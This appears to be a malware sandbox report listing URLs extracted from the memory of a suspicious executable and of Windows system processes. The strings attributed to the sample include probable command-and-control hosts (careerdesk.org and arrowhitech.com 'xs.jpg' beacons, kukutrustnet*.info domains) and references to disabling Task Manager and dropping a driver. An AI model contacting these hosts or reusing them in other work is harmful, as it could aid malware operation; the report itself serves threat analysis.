Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?91707008=1755488304K
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?a3e16ea4=2066351740
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?a3e16ea4=2066351740S
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?a5e467df=-1752064132
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?a95dff7=1420754872F
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?a95dff7=1420754872b
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://g2.arrowhitech.com/xs.jpg?e03c7453=-1034122434
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet777.info/home.gif
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet777888.info/
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet777888.info/DisableTaskMgrSoftware
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet888.info/home.gif
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://kukutrustnet987.info/home.gif
Source: SearchApp.exe, 0000001F.00000000.1554248946.000001D61A4A0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://localhost:8603SeeMoreSearchResultsCodexChatUpsellCaption1CodexChatUpsellButton12023.10.04.399
Source: RuntimeBroker.exe, 0000001E.00000000.1527273745.0000023D7190D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.a.0
Source: RuntimeBroker.exe, 0000001E.00000000.1527273745.0000023D7190D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.c.0W
Source: RuntimeBroker.exe, 0000001E.00000000.1527273745.0000023D7190D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.ho
Source: RuntimeBroker.exe, 0000001E.00000000.1527273745.0000023D7190D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adora
Source: RuntimeBroker.exe, 0000001E.00000000.1527273745.0000023D7190D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.ph
Source: svchost.exe, 00000019.00000000.1455395047.000001F0FD7B3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.00000000087BB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1479087951.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1479087951.00000000087BB000.00000004.00000001.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000002.2517306215.0000014226A19000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000000.1657485333.0000014226A19000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000002.2517306215.0000014226A4E000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000000.1657485333.0000014226A4E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: SearchApp.exe, 0000001F.00000000.1534355019.000001CE1226B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1536602109.000001CE13F7A000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1568208623.000001D61C738000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0:
Source: smartscreen.exe, 00000022.00000002.2517306215.0000014226A19000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000000.1657485333.0000014226A19000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000002.2517306215.00000142269A3000.00000004.00000020.00020000.00000000.sdmp, smartscreen.exe, 00000022.00000000.1657485333.00000142269A3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: SearchApp.exe, 0000001F.00000000.1550771232.000001D619B3D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/Omniroot2025.crlH15-2
Source: SearchApp.exe, 0000001F.00000000.1550970635.000001D619BC4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.msocsp.
Source: SearchApp.exe, 0000001F.00000000.1543708623.000001CE1975E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1551041571.000001D619BCC000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1568208623.000001D61C738000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.msocsp.com0
Source: SearchApp.exe, 0000001F.00000000.1577374778.000001D62D569000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schema.skype.com/Mention
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.Component.WebApi.ClientConditionsProcessor
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.Catalog
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.Catalogp
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.PaymentInstruments
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.PaymentInstrumentsp
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.Profile
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.Profilep
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.Purchase
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.Purchasep
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.StoreEdge
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModel.StoreEdgep
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchase.DataModelp
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Store.Purchasep
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Collections.Generic
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/System.Collections.Genericp
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B962633000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Windows.Web.Http
Source: SearchApp.exe, 0000001F.00000000.1537379302.000001CE1889E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.live.com/Web/
Source: explorer.exe, 0000001B.00000002.3974617181.0000000007670000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001B.00000000.1478266221.00000000082D0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000001B.00000000.1469625863.0000000002C60000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000001E.00000000.1528658066.0000023D73980000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 00000020.00000000.1645898785.000001EF6E6E0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: Amcache.hve.9.dr String found in binary or memory: http://upx.sf.net
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3842902328.00000000046D3000.00000004.10000000.00040000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.0000000002408000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3812391802.00000000039CC000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281486806.0000000000870000.00000004.00000020.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3790167124.000000000240E000.00000004.00000010.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.0000000002495000.00000040.00001000.00020000.00000000.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3762604592.0000000000641000.00000040.00000001.01000000.00000004.sdmp, #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000003.1281602249.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000027.00000002.3814434317.0000000004A33000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?17b6de9=198930248
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?17f3b14d=-1883887666
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?17f3b14d=-1883887666$
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?20ae1e9=239873375
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?2dce9fa=384258000
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?3c84448=190368984c.dz
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?475ad88=299284000c
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?5e49a2=6179234
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3777235746.00000000008CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?5e49a2=6179234v
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?5eb9eca6=-1116481204
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?5eb9eca6=-1116481204i/Y
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?676dbbc=108452796S
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?8021ab3c=-2145277124
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?8021ab3c=-21452771243
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?8021ab3c=-2145277124Qe
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?80947de5=58389342
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?9055f4a9=-1873414999
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?9055f4a9=-1873414999V
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?91387e43=-1405817186
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?939b7bae=155214274
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?9ad6cfae=1905085726
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?b3df36a1=1740533058
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?b3df36a1=1740533058lBUz
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?b3df36a1=1740533058lEU
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?d090ea93=-795809133
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?e6979d=105784651
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.careerdesk.org/images/xs.jpg?f260cef5=-685609761
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.klkjwre9fqwieluoi.info/
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers
Source: svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000017.00000000.1448703060.000001697A613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000017.00000000.1448703060.000001697A613000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://%s.xboxlive.comdS
Source: svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://%s.xboxlive.comint
Source: WinStore.App.exe, 00000024.00000000.1676939865.000001B9627F8000.00000004.00000001.00020000.00000000.sdmp, WinStore.App.exe, 00000024.00000000.1676939865.000001B962800000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://accounts.xboxlive.com/codeOfConduct/
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com
Source: explorer.exe, 0000001B.00000000.1482824632.000000000BD22000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2293165397.000000000BD22000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp(
Source: svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.comy
Source: SearchApp.exe, 0000001F.00000000.1550970635.000001D619BC4000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1537183584.000001CE18838000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1536602109.000001CE13F7A000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: SearchApp.exe, 0000001F.00000000.1543708623.000001CE1975E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1537183584.000001CE18838000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: SearchApp.exe, 0000001F.00000000.1537898194.000001CE189A7000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: SearchApp.exe, 0000001F.00000000.1554869750.000001D61A56B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/fixsearch
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOSJM
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOSZM
Source: explorer.exe, 0000001B.00000003.2293165397.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1482824632.000000000BDC8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOSp
Source: SearchApp.exe, 0000001F.00000000.1606832993.000001D62E157000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/news/feed?ocid=winsearch&market=en-us&query=good%20news&apikey=uvobH5fEn1uz1xwZ5
Source: explorer.exe, 0000001B.00000000.1479087951.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.0000000008796000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/rT
Source: explorer.exe, 0000001B.00000000.1479087951.000000000862F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=A1668CA4549A443399161CE8D2237D12&timeOut=5000&oc
Source: explorer.exe, 0000001B.00000002.4124666902.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1479087951.0000000008685000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?z$
Source: explorer.exe, 0000001B.00000000.1479087951.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.4124666902.0000000008796000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/~T
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3823441121.0000000002F10000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000001B.00000002.4124666902.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000000.1479087951.0000000008685000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001F.00000000.1534304815.000001CE12248000.00000004.00000001.00020000.00000000.sdmp, TextInputHost.exe, 00000026.00000000.1688581181.000001E34D144000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.com
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.com
Source: svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: svchost.exe, 00000017.00000000.1450927769.000001697A6A9000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1450248147.000001697A641000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 0000001B.00000000.1473435929.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.3922456855.0000000007065000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: svchost.exe, 00000017.00000000.1450773187.000001697A665000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://bn2-df.notify.windows.com/v2/register/xplatform/device
Source: explorer.exe, 0000001B.00000003.2296446015.0000000007065000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
